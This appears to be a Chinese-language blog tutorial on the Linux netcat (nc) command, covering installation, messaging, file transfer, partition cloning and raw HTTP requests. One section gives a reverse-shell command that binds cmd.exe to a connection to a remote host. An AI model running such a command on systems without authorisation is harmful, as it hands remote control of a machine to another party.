Linux 下 nc 命令介紹

come on 伸出中指戳戳上方關注我……

本文空調開放,歡迎閱讀

nc 是 Linux 下的一個強大的命令。nc 是簡稱,全名是 netcat。大部分的 Linux 發行版都有自帶 nc 這個命令,如果沒有的話就需要自己安裝了

我這裏使用的是 CentOS 7.3,對於 nc,你可以使用 yum 安裝或者自己編譯二進制文件。這裏推薦使用 yum 安裝,因爲 yum 可以自動解決依賴問題

1

yum install nmap-ncat.x86_64

同樣,netcat 也有 Windows 版本可用,你可以在 https://eternallybored.org/misc/netcat 這裏下載到 netcat 的 Windows 版本。這裏下載到的是一個壓縮包,裏面包含 netcat 的源代碼和 nc & nc64 兩個已經編譯好的二進制文件,你可以根據自己系統來選擇使用 nc 或 nc64

成功安裝之後你就可以使用 nc 命令了,使用 nc –help,你可以查看到 nc 命令的詳細幫助。我在這裏使用幾個具體的例子來簡要概述下 nc 命令的基本使用方法


0. nc 命令的標準使用形式

1

nc [-options] ip port[s] [ports]

ip 處是可以使用域名的,nc 會調用 DNS 解析成 IP 地址。如果不需要 nc 自動解析的話可以在執行時添加 -n [–nodns] 參數


1. 兩臺主機之間發送實時消息

1
2

A 主機:nc -lp port
B 主機:nc ip port

-l [–listen]:綁定並監聽傳入的連接
-p [–source-port]:指定要使用的源端口

建立連接後在任意一臺主機輸入信息並按下回車發送後對方就能收到
因爲 nc 是會自動從標準流中讀取數據的,如果想要禁止,可以在命令執行時使用 -d 參數


2. 兩臺主機之間傳送文件

1
2

接收端:nc -lp port > outputfile
發送端:nc destip port < inputfile

這一條本質和上面那個是一樣的,只是借用了輸出重定向這個特性。同樣,nc 命令也支持管道,你甚至可以藉由此實現克隆分區:

1
2
3
4
5
6
7

接收端:
unmount /dev/sda2
nc -lp port | dd of=/dev/sda2

發送端:
unmount /dev/sda1
dd if=/dev/sda1 | nc destip port


3. 發送 HTTP 請求

1
2
3
4
5
6
7
8
9

$nc destip 80 <<EOF

GET /HTTP/1.1

Cookie:xxx
xxx:xxx
xxx

EOF

爲什麼?因爲 nc 發送的是純文本
保存 Web 頁面?重定向輸出流就好了


4. 反向代理 Shell

1
2

發送端:nc -lp localport
執行端:nc -t -e C:/windows/system32/cmd.exe destip destport

-t [–telnet]:響應 telnet 交互
-e [–exec-command]:執行給定的命令,也可以攜帶一個 lua 腳本

destip 和 destport 即爲發送端的 IP 和 localport
連接成功後,發送端的會得到一個執行端的 Shell

你可以使用 -w 來設置無響應時的超時時間

nc 在默認情況下,如果連接到 Server 的 Client 斷開連接,那麼 Server 也會跟着退出。你可以使用 -k 參數來保持 Server 的監聽狀態

nc 是支持 IPV6 的,你可以使用 -4 & -6 參數來指定使用 IPV4 或 IPV6

nc 默認是使用 TCP 協議通信,但是也支持 UDP,可添加 -u 參數來使用 UDP 協議

對於使用 nc 去掃描端口這個用途,我是不推薦的,因爲 nc 的掃描速度十分之慢。
而且,在最新的 nc 中,已經去掉了 -z    (zero-I/O mode [used for scanning]) 這個參數。
所以,對於這個需求,還是使用更專業的 nmap 吧

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章